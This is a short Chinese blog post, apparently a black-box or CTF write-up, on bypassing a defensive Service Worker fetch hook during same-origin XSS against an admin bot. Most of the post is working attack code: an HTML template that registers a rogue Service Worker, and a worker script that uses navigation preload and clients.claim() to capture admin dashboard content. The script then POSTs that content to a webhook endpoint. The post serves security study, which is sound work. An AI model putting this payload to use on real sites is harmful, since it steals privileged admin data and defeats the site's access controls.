409 字
2 分钟
同源XSS中SW HOOK的绕过思路
随心审计
同源XSS中SW HOOK的绕过思路
写一篇关于最近遇到的黑盒
当admin bot同源xss想去读admin面板的时候,理应是没问题的,
事先假设admin面板返回的头并未限制同源策略,而是用Service-works来防范请求的
如果在servive里指定了fetch的事件,比如
addEventListener("fetch", event => { const req = event.request;
if (req.url.includes("/admin/")) { event.respondWith( new Response(null, { status: 504 }) ); return; }
event.respondWith(fetch(req));});类似如此,因为在异源访问时往往CROS进行限制,在站点的bot和本身是同源的,
并且bot可以运触发js,那就可以另外加一个Hook,也就是自己的Service-works
但是对于fetch的原始Hook我并没法进行影响
在原声Service work api中有个预渲染组建,NavigationPreloadManager
可以预先事件绑定,同时经过这个hook时可以先讲面板的数据预处理,并且获得res
注意得skipWaiting,并且在事件监听的respondWith需要返回一个对象
给bot的html的模板是
<!DOCTYPE html><html><body> <script> (async ()=>{ res = await navigator.serviceWorker.register( "/u/admin/SW2d6f9e7_sw10.js", {scope: '/u/admin/'} ) await navigator.serviceWorker.ready })(); </script></body></html>预渲染并且同源的res是可以被默认策略允许的,配完claim()就ok,下面是js
self.addEventListener("install",e=>skipWaiting());self.addEventListener("activate",e=>e.waitUntil((async () => { try{ await self.registration.navigationPreload.enable() } catch (e) {} await clients.claim();
})()));
async function read(data){ await fetch('/webhook/guest',{ method : 'POST', headers: {'Content-Type': 'application/json'}, body : JSON.stringify(data) }) }
addEventListener("fetch",e =>{ const req = e.request; if (req.mode != 'navigate' || !(String(req.url).includes('/admin/dashboard'))) return; e.respondWith((async()=>{ let q1 = null, q2 = null; try{ const pr = await e.preloadResponse; if (pr) q1 = {status : 'ok', body : await pr.clone().text()}; } catch (e) {} const aaa = await fetch(req) const normal = { status: aaa.status, body: await aaa.clone().text() }; await read({fake: normal,real: q1}); return aaa })());
});以上
LAST UPDATE / 最后更新